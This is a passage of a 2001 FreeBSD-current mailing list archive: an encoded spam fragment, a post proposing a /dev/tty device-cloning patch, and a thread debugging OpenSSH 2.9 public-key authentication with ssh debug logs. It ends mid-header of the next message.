d3cua29yZWF0b3duY3liZXJtYWxsLmNvbS9zaG9wcGluZ190aXRfYmx1ZS5naWYiIHdpZHRo PTEzNiANCiAgICAgIGJvcmRlcj0wPjwvQT48L0ZPTlQ+IDwvUD48L1REPjwvVFI+PC9UQk9E WT48L1RBQkxFPjwvUD4NCjxQPjwvUD4NCjxQPg0KPFRBQkxFIGNlbGxTcGFjaW5nPTEgd2lk dGg9NjQ1IGJvcmRlcj0wPg0KICA8VEJPRFk+DQogIDxUUj4NCiAgICA8VEQgYWxpZ249bWlk ZGxlIHdpZHRoPTg3MyBjb2xTcGFuPTIgaGVpZ2h0PTE0Pg0KICAgICAgPEhSIGNvbG9yPSMw MDAwODAgU0laRT0xPg0KDQogICAgICA8UD6hoSA8L1A+PC9URD48L1RSPg0KICA8VFI+DQog ICAgPFREIGFsaWduPWxlZnQgd2lkdGg9ODczIGNvbFNwYW49MiBoZWlnaHQ9MTQ+DQogICAg ICA8UCBhbGlnbj1jZW50ZXI+PEZPTlQgZmFjZT2xvLiyw7wgY29sb3I9IzAwMDA4MCBzaXpl PTI+Jm5ic3A7KMitwMzGrrTXIMWpuLIpvvOxvMC7IA0KICAgICAguem/wcOzt7MhJm5ic3A7 PC9GT05UPjwvUD48L1REPjwvVFI+DQogIDxUUj4NCiAgICA8VEQgYWxpZ249bWlkZGxlIHdp ZHRoPTU3IGhlaWdodD0xOT48Rk9OVCBmYWNlPbG8uLLDvCBzaXplPTI+PEEgDQogICAgICBo cmVmPSJodHRwOi8vd3d3LmtvcmVhdG93bmN5YmVybWFsbC5jb20iPjxJTUcgDQogICAgICBz cmM9Imh0dHA6Ly93d3cua29yZWF0b3duY3liZXJtYWxsLmNvbS9NYWluX1BhZ2UvMTQyNHQu anBnIiANCiAgICAgIGJvcmRlcj0wPjwvQT48L0ZPTlQ+PC9URD4NCiAgICA8VEQgdkFsaWdu PWNlbnRlciBhbGlnbj1sZWZ0IHdpZHRoPTgxMCBoZWlnaHQ9MTk+DQogICAgICA8UCBhbGln bj1sZWZ0PjxGT05UIGZhY2U9sby4ssO8PjxCPjxGT05UIGNvbG9yPSMwMDAwODAgDQogICAg ICBzaXplPTI+PEJSPjwvRk9OVD48L0I+PEZPTlQgY29sb3I9IzAwMDA4MCBzaXplPTI+ur2/ qbinw7a/oSDFwr7nk9y/oSCwy77uwfa0wiDHx7rOwLsguem/wcOzt7MgDQogICAgICDI8bDU Li4uJm5ic3A7IMHXwLqx+iwgseK5zL+htbUgxq/Ivy4mbmJzcDsgPC9GT05UPjwvRk9OVD48 Qj48Rk9OVCBmYWNlPbG8uLLDvCANCiAgICAgIGNvbG9yPSMwMDAwODAgc2l6ZT0yPjxCUj48 L0ZPTlQ+PC9CPjxGT05UIGZhY2U9sby4ssO8IGNvbG9yPSMwMDAwODAgDQogICAgICBzaXpl PTI+PEJSPjwvRk9OVD48Rk9OVCBmYWNlPbG8uLLDvCBzaXplPTI+PEZPTlQgDQogICAgICBj b2xvcj0jMDAwMDgwPsGmwba/+Dq5zLG5PC9GT05UPjxGT05UIHNpemU9Mj48Rk9OVCBjb2xv cj0jMDAwMDgwPiANCiAgICAgICZuYnNwOzxCUj48L0ZPTlQ+v/i3obChsN06Jm5ic3A7IA0K ICAgICAgPFNUUklLRT4kNDU8L1NUUklLRT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsgPEZPTlQgDQogICAgICBjb2xvcj0jZmYwMDAwPry8wM+wobDdOiAkMjU8L0ZPTlQ+Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IA0KICAgICAgPEZPTlQg Y29sb3I9I2ZmMDAwMD7H0sDOvtc6IDwvRk9OVD48L0ZPTlQ+PEZPTlQgDQogICAgICBjb2xv cj0jZmYwMDAwPiQyMDxCUj48L0ZPTlQ+PC9GT05UPjxGT05UIGZhY2U9sby4ssO8IGNvbG9y PSMwMDAwODAgc2l6ZT0yPjxBIA0KICAgICAgaHJlZj0iaHR0cDovL3d3dy5rb3JlYXRvd25j eWJlcm1hbGwuY29tIj48SU1HIGhlaWdodD0zMyANCiAgICAgIHNyYz0iaHR0cDovL3d3dy5r b3JlYXRvd25jeWJlcm1hbGwuY29tL3Nob3BwaW5nX3RpdF9ibHVlLmdpZiIgd2lkdGg9MTM2 IA0KICAgICAgYm9yZGVyPTA+PC9BPjwvRk9OVD4gPC9QPjwvVEQ+PC9UUj48L1RCT0RZPjwv VEFCTEU+PC9QPg0KPFA+oaE8L1A+DQo8UD4NCjxUQUJMRSBjZWxsU3BhY2luZz0xIHdpZHRo PTY0NSBib3JkZXI9MD4NCiAgPFRCT0RZPg0KICA8VFI+DQogICAgPFREIGFsaWduPW1pZGRs ZSB3aWR0aD04NzMgY29sU3Bhbj0yIGhlaWdodD0xND4NCiAgICAgIDxIUiBjb2xvcj0jMDAw MDgwIFNJWkU9MT4NCg0KICAgICAgPFA+oaEgPC9QPjwvVEQ+PC9UUj4NCiAgPFRSPg0KICAg IDxURCBhbGlnbj1sZWZ0IHdpZHRoPTg3MyBjb2xTcGFuPTIgaGVpZ2h0PTE0Pg0KICAgICAg PFAgYWxpZ249Y2VudGVyPjxGT05UIGZhY2U9sby4ssO8IGNvbG9yPSMwMDAwODAgc2l6ZT0y PllvaGltYmUgQWR2YXRhZ2UmbmJzcDsgDQogICAgICAmbmJzcDsgJDUwLjAwJm5ic3A7KCDD yrCtt8IgwaS3wsGmKSA8L0ZPTlQ+PC9QPjwvVEQ+PC9UUj4NCiAgPFRSPg0KICAgIDxURCBh bGlnbj1taWRkbGUgd2lkdGg9NTcgaGVpZ2h0PTE5PjxGT05UIGZhY2U9sby4ssO8IHNpemU9 Mj48QSANCiAgICAgIGhyZWY9Imh0dHA6Ly93d3cua29yZWF0b3duY3liZXJtYWxsLmNvbSI+ PElNRyANCiAgICAgIHNyYz0iaHR0cDovL3d3dy5rb3JlYXRvd25jeWJlcm1hbGwuY29tL01h aW5fUGFnZS95b2hpbWJlLmdpZiIgDQogICAgICBib3JkZXI9MD48L0E+PC9GT05UPjwvVEQ+ DQogICAgPFREIHZBbGlnbj1jZW50ZXIgYWxpZ249bGVmdCB3aWR0aD04MTAgaGVpZ2h0PTE5 PjxGT05UIGZhY2U9sby4ssO8IA0KICAgICAgY29sb3I9I2ZmMDBmZiBzaXplPTI+PEI+w8qw rbfCIMGkt8LBpjwvQj48L0ZPTlQ+PEZPTlQgZmFjZT2xvLiyw7wgY29sb3I9IzAwMDA4MCAN CiAgICAgIHNpemU9Mj4mbmJzcDsgs8q5q7OqIMCvuO3H0cGmx7AuJm5ic3A7IL/kyPu68bfO tMIgsKHA5SDIrr3Hx9FBRFZFTlRBR0UgSU5DLsGmx7AgwNS0z7TZLiANCiAgICAgIDwvRk9O VD48Rk9OVCBmYWNlPbG8uLLDvCBjb2xvcj0jMDAwMDgwIHNpemU9Mj66zrrOsKEgx9Sysrq5 v+vH2CDB8bDFv+4gvLq7/ciwwLsgwKfH0SANCiAgICAgIMHYuvG5sC48L0ZPTlQ+PEZPTlQg ZmFjZT2xvLiyw7wgc2l6ZT0yPjxGT05UIGNvbG9yPSMwMDAwODA+urm/67nmuf06sKG6rb/u ILz6v6EmbmJzcDsgDQogICAgICAyLTO55r/vvr8gs9a+7rq5v+vHz73DuOkmbmJzcDsgsKHA 5ci/sPq4piC6vLz2wNa0wsGmx7AgPC9GT05UPjxCUj7BpsG2v/g6ILnMsbkgJm5ic3A7PC9G T05UPjxGT05UIA0KICAgICAgc2l6ZT0yPjxCUj6/+LehsKGw3TombmJzcDsgDQogICAgICA8 U1RSSUtFPiQ3NTwvU1RSSUtFPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyA8Rk9OVCANCiAgICAgIGNvbG9yPSNmZjAwMDA+vLzAz7ChsN06ICQ1MCZuYnNw OyZuYnNwOyZuYnNwOzwvRk9OVD48L0ZPTlQ+PEZPTlQgY29sb3I9I2ZmMDAwMCANCiAgICAg IHNpemU9Mj4mbmJzcDsmbmJzcDsmbmJzcDsgx9LAzr7XOiA8L0ZPTlQ+PEZPTlQgDQogICAg ICBjb2xvcj0jZmYwMDAwPiQyNTxCUj48L0ZPTlQ+PEZPTlQgZmFjZT2xvLiyw7wgY29sb3I9 IzAwMDA4MCBzaXplPTI+PEEgDQogICAgICBocmVmPSJodHRwOi8vd3d3LmtvcmVhdG93bmN5 YmVybWFsbC5jb20iPjxJTUcgaGVpZ2h0PTMzIA0KICAgICAgc3JjPSJodHRwOi8vd3d3Lmtv cmVhdG93bmN5YmVybWFsbC5jb20vc2hvcHBpbmdfdGl0X2JsdWUuZ2lmIiB3aWR0aD0xMzYg DQogICAgICBib3JkZXI9MD48L0E+PC9GT05UPiA8L1REPjwvVFI+PC9UQk9EWT48L1RBQkxF PjwvUD4NCjxQIGFsaWduPWNlbnRlcj6hoSANCjxQIGFsaWduPWNlbnRlcj6hoSA8L1A+DQo8 UD4NCjxUQUJMRSB3aWR0aD02NDUgYm9yZGVyPTA+DQogIDxUQk9EWT4NCiAgPFRSPg0KICAg IDxURCBhbGlnbj1taWRkbGUgd2lkdGg9NzQ0IGNvbFNwYW49Mj4NCiAgICAgIDxIUiBjb2xv cj0jMDAwMDgwIFNJWkU9MT4NCg0KICAgICAgPFAgYWxpZ249Y2VudGVyPqGhIDwvUD48L1RE PjwvVFI+DQogIDxUUj4NCiAgICA8VEQgd2lkdGg9NzQ0IGNvbFNwYW49Mj4NCiAgICAgIDxQ IGFsaWduPWNlbnRlcj48Qj48Rk9OVCBmYWNlPbG8uLLDvCBjb2xvcj0jMDAwMDgwIHNpemU9 Mj69usbktM+9uiDHw7bzwMwgDQogICAgICA8L0ZPTlQ+PC9CPjxGT05UIGNvbG9yPSMwMDAw ODA+PEZPTlQgZmFjZT2xvLiyw7wgDQogICAgICBzaXplPTI+KL+pvLrI77rQwaYpPC9GT05U PjwvRk9OVD48L1A+PC9URD48L1RSPg0KICA8VFI+DQogICAgPFREIHdpZHRoPTg4PjxGT05U IGZhY2U9sby4ssO8IHNpemU9Mj48QSANCiAgICAgIGhyZWY9Imh0dHA6Ly93d3cua29yZWF0 b3duY3liZXJtYWxsLmNvbSI+PElNRyANCiAgICAgIHNyYz0iaHR0cDovL3d3dy5rb3JlYXRv d25jeWJlcm1hbGwuY29tL01haW5fUGFnZS83MDQuanBnIj48L0E+PC9GT05UPjwvVEQ+DQog ICAgPFREIHZBbGlnbj1jZW50ZXIgd2lkdGg9NjUwPjxGT05UIHNpemU9Mj48Rk9OVCBmYWNl PbG8uLLDvCBjb2xvcj0jMDAwMDgwIA0KICAgICAgc2l6ZT0yPrHXs+C4piDB8bDMsNQgx9G0 2S4hPEJSPsDMuePAuyC09b/ttPUgLi4uLiCx17Pgv80gu+e2+8C7Jm5ic3A7IC4uPEJSPjIw vsvAzLjnIDHAzzO+y7Huwfa4uCANCiAgICAgILq5v+suPEJSPjxCUj7BpsG2v/g6ucyxuTxC Uj48L0ZPTlQ+PEZPTlQgY29sb3I9I2ZmMDAwMD7Gx7jFsKGw3TogDQogICAgICAkMTkmbmJz cDs8QlI+PC9GT05UPjwvRk9OVD48Rk9OVCBmYWNlPbG8uLLDvCBjb2xvcj0jMDAwMDgwIHNp emU9Mj48QSANCiAgICAgIGhyZWY9Imh0dHA6Ly93d3cua29yZWF0b3duY3liZXJtYWxsLmNv bSI+PElNRyBoZWlnaHQ9MzMgDQogICAgICBzcmM9Imh0dHA6Ly93d3cua29yZWF0b3duY3li ZXJtYWxsLmNvbS9zaG9wcGluZ190aXRfYmx1ZS5naWYiIHdpZHRoPTEzNiANCiAgICAgIGJv cmRlcj0wPjwvQT48L0ZPTlQ+IDwvVEQ+PC9UUj48L1RCT0RZPjwvVEFCTEU+PC9QPg0KPFAg YWxpZ249Y2VudGVyPqGhPC9QPg0KPFRBQkxFIGhlaWdodD0xNzMgY2VsbFNwYWNpbmc9MSB3 aWR0aD02NDUgYm9yZGVyPTA+DQogIDxUQk9EWT4NCiAgPFRSPg0KICAgIDxURCB2QWxpZ249 Y2VudGVyIHdpZHRoPTc0NyBjb2xTcGFuPTIgaGVpZ2h0PTI5Pg0KICAgICAgPEhSIGNvbG9y PSMwMDAwODAgU0laRT0xPg0KDQogICAgICA8UCBhbGlnbj1jZW50ZXI+oaEgPC9QPjwvVEQ+ PC9UUj4NCiAgPFRSPg0KICAgIDxURCB3aWR0aD03NDcgY29sU3Bhbj0yIGhlaWdodD0yOT4N CiAgICAgIDxQIGFsaWduPWNlbnRlcj48Rk9OVCBmYWNlPbG8uLLDvCBjb2xvcj0jMDAwMDgw IHNpemU9Mj68vb26ILnpuejB8bHiseImbmJzcDsgwfbEp7ytKLrxtfC/wCANCiAgICAgIMXX wNkpIDEsMiDG7SZuYnNwOzwvRk9OVD48L1A+PC9URD48L1RSPg0KICA8VFI+DQogICAgPFRE IHZBbGlnbj10b3Agd2lkdGg9ODggaGVpZ2h0PTEzMj48Rk9OVCBmYWNlPbG8uLLDvCBzaXpl PTI+PEEgDQogICAgICBocmVmPSJodHRwOi8vd3d3LmtvcmVhdG93bmN5YmVybWFsbC5jb20i PjxJTUcgDQogICAgICBzcmM9Imh0dHA6Ly93d3cua29yZWF0b3duY3liZXJtYWxsLmNvbS9N YWluX1BhZ2Uvc3MxLmpwZyI+PC9BPjwvRk9OVD48L1REPg0KICAgIDxURCB2QWxpZ249Y2Vu dGVyIHdpZHRoPTY1MyBoZWlnaHQ9MTMyPg0KICAgICAgPFA+PEZPTlQgZmFjZT2xvLiyw7wg c2l6ZT0yPjxGT05UIGNvbG9yPSMwMDAwODA+ucyxuSBTZXggQ2xpbmljIMDHIMCvuO0gwMe7 57XpwMwgwbu09SANCiAgICAgIMfgurnHz7DtIL/Puq7H0SC6zrrOu/3IsMC7IMCnx8+/qSDB psDbx9EguvG18L/AxdfA1C4gtNm+58fRIMO8wKe/zSDDvMCnwMcgwOW03MGhwLsgwNq8vMj3 ILyzuO3Hz7jnILy6xam4rrTQIMivwNq16cDMIMH3waIgDQogICAgICA8L0ZPTlQ+uPC1qLfO ILXuwOXH1C4gvLq7/ciwv6EguLjBt8fPwfa4+MfPtMK60LXpwLogutC16b+hsNS0wiDHyrz2 wabHsMDMuOcguLjBt8fPtMK60LXpwLogwbu09SC4uMG3wLu0wLOlvPbA1rDUILW1v8215biy LCANCiAgICAgIDwvRk9OVD48Rk9OVCBmYWNlPbG8uLLDvCBzaXplPTI+McbtLDLG7cC4t84m bmJzcDtEVkS/+MbHwLsguvG18L/AIMXXwNkgwOexuLy6LjwvRk9OVD48Rk9OVCANCiAgICAg IHNpemU9Mj48QlI+v/i3obChsN06IDxTVFJJS0U+JDY1PC9TVFJJS0U+Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7IA0KICAgICAgJm5ic3A7Jm5ic3A7Jm5ic3A7IDxGT05UIGNvbG9yPSNm ZjAwMDA+vLzAz7ChsN06IA0KICAgICAgJDQ1PC9GT05UPiZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyAmbmJzcDsmbmJzcDsgPEZPTlQgY29sb3I9I2ZmMDAwMD7H0sDOvtc6IA0KICAgICAg JDIwPEJSPjwvRk9OVD48L0ZPTlQ+PEZPTlQgZmFjZT2xvLiyw7wgY29sb3I9IzAwMDA4MCBz aXplPTI+PEEgDQogICAgICBocmVmPSJodHRwOi8vd3d3LmtvcmVhdG93bmN5YmVybWFsbC5j b20iPjxJTUcgaGVpZ2h0PTMzIA0KICAgICAgc3JjPSJodHRwOi8vd3d3LmtvcmVhdG93bmN5 YmVybWFsbC5jb20vc2hvcHBpbmdfdGl0X2JsdWUuZ2lmIiB3aWR0aD0xMzYgDQogICAgICBi b3JkZXI9MD48L0E+PC9GT05UPjwvUD4NCiAgICAgIDxQPiZuYnNwOzwvUD4NCiAgICAgIDxQ IGFsaWduPWNlbnRlcj48Rk9OVCBzaXplPTI+vLyw6L+hvK0gsKHA5SDA+rfFx9EguvG/68C4 t84gv6m3r7rQwMcguN7AzyCxpLDtuKYgw6XA08H2sNq9wLTPtNkuIA0KICAgICAgPC9GT05U PjxBIGhyZWY9Im1haWx0bzpwb3N0NDk4OUBob3RtYWlsLmNvbSI+PEZPTlQgDQogICAgICBz aXplPTI+cG9zdDQ5ODlAaG90bWFpbC5jb208L0ZPTlQ+PC9BPjwvUD4NCiAgICAgIDxQIGFs aWduPWNlbnRlcj4mbmJzcDs8L1A+PC9URD48L1RSPjwvVEJPRFk+PC9UQUJMRT48L0RJVj48 L0ZPTlQ+DQo8L0JPRFk+DQo8L0hUTUw+DQo= To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun May 13 5:38:43 2001 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.86.163]) by hub.freebsd.org (Postfix) with ESMTP id CA7C237B423; Sun, 13 May 2001 05:38:36 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter (localhost [127.0.0.1]) by critter.freebsd.dk (8.11.3/8.11.3) with ESMTP id f4DCcPp08076; Sun, 13 May 2001 14:38:25 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: arch@freebsd.org, current@freebsd.org Subject: /dev/tty and device cloning. From: Poul-Henning Kamp Date: Sun, 13 May 2001 14:38:25 +0200 Message-ID: <8074.989757505@critter> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG /dev/tty is as we all know quite a hack: it is a variant symlink is disguise. I have create a patch which cleans up the way /dev/tty works using the DEVFS cloning mechanism, and I would like to get feedback on it. http://phk.freebsd.dk/patch/devtty.patch 20010513 devtty.patch This patch slightly changes the way device cloning works. After the cloners have been called we try to find the match not by name but by the dev_t the successfull cloner gave us. This allows "cloning by a different name" activities. The patch to kern/tty_tty.c exploits this feature to remove the the magic and bogus /dev/tty device, and instead /dev/tty by clone-magic points at the process' controlling terminal. (The patch also contains a few cleanups) The following difference results: Without this patch: critter phk> tty /dev/ttypd critter phk> ls -li /dev/ttypd /dev/tty 12 crw-rw-rw- 1 root wheel 1, 0 13 Maj 14:22 /dev/tty 109 crw--w---- 1 phk tty 5, 13 13 Maj 14:28 /dev/ttypd With this patch: syv# tty /dev/ttyp0 syv# ls -li /dev/ttyp0 /dev/tty 87 crw--w---- 1 root tty 5, 0 May 13 12:27 /dev/tty 87 crw--w---- 1 root tty 5, 0 May 13 12:27 /dev/ttyp0 -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD committer | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun May 13 5:45:30 2001 Delivered-To: freebsd-current@freebsd.org Received: from bunrab.catwhisker.org (adsl-63-193-123-122.dsl.snfc21.pacbell.net [63.193.123.122]) by hub.freebsd.org (Postfix) with ESMTP id 4F7C737B423 for ; Sun, 13 May 2001 05:45:26 -0700 (PDT) (envelope-from david@catwhisker.org) Received: (from david@localhost) by bunrab.catwhisker.org (8.10.0/8.10.0) id f4DCjC371948 for current@FreeBSD.ORG; Sun, 13 May 2001 05:45:12 -0700 (PDT) Date: Sun, 13 May 2001 05:45:12 -0700 (PDT) From: David Wolfskill Message-Id: <200105131245.f4DCjC371948@bunrab.catwhisker.org> Subject: Re: ssh public key auth. incompatible between 2.3.0 vs. 2.9? Cc: current@FreeBSD.ORG In-Reply-To: <20010512234052.E18676@fw.wintelcom.net> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG [Replies to both responders to date: 2 replies for the cost of a single message. :-} dhw] >Date: Sat, 12 May 2001 23:40:52 -0700 >From: Alfred Perlstein >> So basically, I'm confused. ssh appears to work ok for password >> authentication, but not for public key authentication -- or at least, it >> doesn't appear to be (completely?) compatible with ssh 2.3.0. Or maybe >> I'm overlooking something...? >Brian Feldman switched the default to ssh2, for some reason it doesn't >back off and try version 1. you need to do this "ssh -1 " which >is damn irritating, but I don't know of any other option. The "-1" flag does not appear to be valid for ssh 2.9; attempting its use generates a usage message. >Would it be possible to try version 1 before password? I'll give that a try later today. (I'm building today's -STABLE at the moment; I s'pose I could chroot to the -CURRENT root & try it out that way, but trying to explain the situation if it doesn't work sounds even messier than what I've done so far....) >Date: Sun, 13 May 2001 09:44:41 +0200 >From: Szilveszter Adam >I am working on reproducing this, so I would like to ask for >clarification... Unless I am mistaken, you have 3.2-RELEASE on the machine >that you are connecting to with ssh2 port installed. Right? In this particular case, yes. And I had installed the ssh-2.0.12 port on it (soome time back). But I have observed similar behavior when the ssh server is any of several different machines -- running FreeBSD 4.2-STABLE or (SPARC) Solaris 2.6 or 8, for example. >And you are trying to use RSA Auth using ssh1 on purpose although both >sides could use ssh2 in theory. Not particularly. I'm trying to use public key authentication, vs. password authentication. Whether it's "RSA" or "DSA" isn't something I care about (except to get it working); mostly, I want the same functionality, and I'd prefer to at least know what steps I need to take, so that if & when OpenSSH 2.9 is MFCed, folks who are similarly-situated will be able to get a "heads up" on changes they may need to make to preserve equivalent function. >And you are seeing that -CURRENT's ssh does not fall back to RSA >key auth when it cannot use DSA. But you have already used ssh2 to this >host before. (Because it is contained in the known_hosts2 file). >Maybe this confuses ssh. Well, I've certainly used ssh 2.3.0 (under FreeBSD 4.3-STABLE, for example) to get to it. >In my setup, I have only one server that can do SSH2 (mine, the -CURRENT >box) all others are unable, because they use either older versions of >OpenSSH or the ssh1 from SSH Communications. But I have absolutely no >problem in connecting between them with RSA keys... although I have just >tried (almost) all combinations.:-) Even the -CURRENT server does well, >although ssh2 is the first option tried in the server config because some >windoze clients can do ssh2 already so why not use it? But admittedly I >have not tried RSA auth between two ssh2 capable hosts... will need the >help of a collegaue with it. (who will kindly reboot the machine on the >other end into FreeBSD-STABLE:-) Note that I do not have a known_hosts2 or >an authorized_keys2 file anywhere. Hmmm.... I just checked: I don't (happen to) have the laptop set up so that I can use public key authentication to use ssh to itself. (I checked this under -STABLE; OpenSSH 2.3.0.) After I boot -CURRRENT, I may play around with this a bit.... Thanks, david -- David H. Wolfskill david@catwhisker.org As a computing professional, I believe it would be unethical for me to advise, recommend, or support the use (save possibly for personal amusement) of any product that is or depends on any Microsoft product. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun May 13 7:28:30 2001 Delivered-To: freebsd-current@freebsd.org Received: from bunrab.catwhisker.org (adsl-63-193-123-122.dsl.snfc21.pacbell.net [63.193.123.122]) by hub.freebsd.org (Postfix) with ESMTP id 3422A37B423 for ; Sun, 13 May 2001 07:28:22 -0700 (PDT) (envelope-from david@catwhisker.org) Received: (from david@localhost) by bunrab.catwhisker.org (8.10.0/8.10.0) id f4DESDF72226 for current@FreeBSD.ORG; Sun, 13 May 2001 07:28:13 -0700 (PDT) Date: Sun, 13 May 2001 07:28:13 -0700 (PDT) From: David Wolfskill Message-Id: <200105131428.f4DESDF72226@bunrab.catwhisker.org> Subject: Re: ssh public key auth. incompatible between 2.3.0 vs. 2.9? Cc: current@FreeBSD.ORG In-Reply-To: <200105131245.f4DCjC371948@bunrab.catwhisker.org> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >Date: Sun, 13 May 2001 05:45:12 -0700 (PDT) >From: David Wolfskill >>Date: Sat, 12 May 2001 23:40:52 -0700 >>From: Alfred Perlstein >>> So basically, I'm confused. ssh appears to work ok for password >>> authentication, but not for public key authentication -- or at least, it >>> doesn't appear to be (completely?) compatible with ssh 2.3.0. Or maybe >>> I'm overlooking something...? >>Brian Feldman switched the default to ssh2, for some reason it doesn't >>back off and try version 1. you need to do this "ssh -1 " which >>is damn irritating, but I don't know of any other option. >The "-1" flag does not appear to be valid for ssh 2.9; attempting its >use generates a usage message. Brain-o, there on my part -- that was 2.3.0 that didn't cope with "-1". 2.9 honored it OK, and once I responded affirmatively to: The authenticity of host 'bunrab.catwhisker.org (172.16.8.11)' can't be established. RSA1 key fingerprint is 42:a4:6d:32:b1:57:09:81:2c:c5:86:70:61:0b:7c:fe. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added 'bunrab.catwhisker.org' (RSA1) to the list of known hosts. it seems to have allowed public key authentication. However, the fact that I got that little dialog would appear to indicate that this really isn't a V1 vs. V2 protocol issue per se, unless I'm confused. >>Would it be possible to try version 1 before password? >I'll give that a try later today. (I'm building today's -STABLE at the >moment.... -STABLE built OK; I'm building -CURRENT now. So while it's building.... I tried creating ~/.ssh/config, and specified "Protocol 1,2" in it. Prior to doing this, attempting to use ssh from -CURRENT to a local SPARCstation was handled same as ssh to my FreeBSD 3.2-R box: public key authentication appeared to want a file I don't have (since my keys are in ~/.ssh/identity{,.pub}, and it's looking for ~/.ssh/id_{r,d}sa: dhcp-140[1] ssh -v pogo OpenSSH_2.9 green@FreeBSD.org 20010503, SSH protocols 1.5/2.0, OpenSSL 0x00906010 debug1: Reading configuration data /etc/ssh/ssh_config debug1: Rhosts Authentication disabled, originating port will not be trusted. debug1: restore_uid debug1: ssh_connect: getuid 1001 geteuid 1001 anon 1 debug1: Connecting to pogo.catwhisker.org [172.16.8.12] port 22. debug1: temporarily_use_uid: 1001/20 (e=1001) debug1: restore_uid debug1: temporarily_use_uid: 1001/20 (e=1001) debug1: restore_uid debug1: Connection established. debug1: identity file /home/david/.ssh/identity type 0 debug1: identity file /home/david/.ssh/id_rsa type -1 debug1: identity file /home/david/.ssh/id_dsa type -1 debug1: Remote protocol version 1.99, remote software version OpenSSH_2.5.1p2 debug1: match: OpenSSH_2.5.1p2 pat ^OpenSSH_2\.5\.[012] Enabling compatibility mode for protocol 2.0 debug1: Local version string SSH-2.0-OpenSSH_2.9 green@FreeBSD.org 20010503 debug1: SSH2_MSG_KEXINIT sent debug1: SSH2_MSG_KEXINIT received debug1: kex: server->client aes128-cbc hmac-md5 none debug1: kex: client->server aes128-cbc hmac-md5 none debug1: SSH2_MSG_KEX_DH_GEX_REQUEST_OLD sent debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP debug1: dh_gen_key: priv key bits set: 137/256 debug1: bits set: 1049/2049 debug1: SSH2_MSG_KEX_DH_GEX_INIT sent debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY debug1: Host 'pogo.catwhisker.org' is known and matches the DSA host key. debug1: Found key in /home/david/.ssh/known_hosts2:2 debug1: bits set: 1044/2049 debug1: len 55 datafellows 49152 debug1: ssh_dss_verify: signature correct debug1: kex_derive_keys debug1: newkeys: mode 1 debug1: SSH2_MSG_NEWKEYS sent debug1: waiting for SSH2_MSG_NEWKEYS debug1: newkeys: mode 0 debug1: SSH2_MSG_NEWKEYS received debug1: done: ssh_kex2. debug1: send SSH2_MSG_SERVICE_REQUEST debug1: service_accept: ssh-userauth debug1: got SSH2_MSG_SERVICE_ACCEPT debug1: authentications that can continue: publickey,password,keyboard-interactive debug1: next auth method to try is publickey debug1: try privkey: /home/david/.ssh/id_rsa debug1: try privkey: /home/david/.ssh/id_dsa debug1: next auth method to try is password david@pogo.catwhisker.org's password: Then: dhcp-140[2] echo "Protocol 1,2" >~/.ssh/config dhcp-140[3] cat ~/.ssh/config Protocol 1,2 dhcp-140[4] ssh -v pogo OpenSSH_2.9 green@FreeBSD.org 20010503, SSH protocols 1.5/2.0, OpenSSL 0x00906010 debug1: Reading configuration data /home/david/.ssh/config debug1: Reading configuration data /etc/ssh/ssh_config debug1: Rhosts Authentication disabled, originating port will not be trusted. ... debug1: Connection established. debug1: identity file /home/david/.ssh/identity type 0 debug1: identity file /home/david/.ssh/id_rsa type -1 debug1: identity file /home/david/.ssh/id_dsa type -1 debug1: Remote protocol version 1.99, remote software version OpenSSH_2.5.1p2 debug1: match: OpenSSH_2.5.1p2 pat ^OpenSSH_2\.5\.[012] debug1: Local version string SSH-1.5-OpenSSH_2.9 green@FreeBSD.org 20010503 debug1: Waiting for server public key. debug1: Received server public key (768 bits) and host key (1024 bits). The authenticity of host 'pogo.catwhisker.org (172.16.8.12)' can't be established. RSA1 key fingerprint is 1c:8a:cb:0f:4b:88:1b:02:84:e0:f6:af:38:82:9b:0e. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added 'pogo.catwhisker.org' (RSA1) to the list of known hosts. debug1: Encryption type: 3des debug1: Sent encrypted session key. debug1: Installing crc compensation attack detector. debug1: Received encrypted confirmation. debug1: Trying RSA authentication via agent with 'david@dhcp-135.catwhisker.org' debug1: Received RSA challenge from server. debug1: Sending response to RSA challenge. debug1: Remote: RSA authentication accepted. debug1: RSA authentication accepted by server. debug1: Requesting pty. debug1: Requesting shell. debug1: Entering interactive session. Last login: Sun May 13 07:07:17 2001 from dhcp-140.catwhi Sun Microsystems Inc. SunOS 5.6 Generic August 1997 pogo[1] exit Summing up(!), it appears that use of the V1 protocol allows the communication to work, but the "cost" (or "heads up issue") is that the ssh server hosts won't (necessarily?) be recognized (so automated procedures may well not work before manual intervention). Thanks, david -- David H. Wolfskill david@catwhisker.org As a computing professional, I believe it would be unethical for me to advise, recommend, or support the use (save possibly for personal amusement) of any product that is or depends on any Microsoft product. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun May 13 8:13:15 2001 Delivered-To: freebsd-current@freebsd.org Received: from zibbi.icomtek.csir.co.za (zibbi.icomtek.csir.co.za [146.64.24.58]) by hub.freebsd.org (Postfix) with ESMTP id 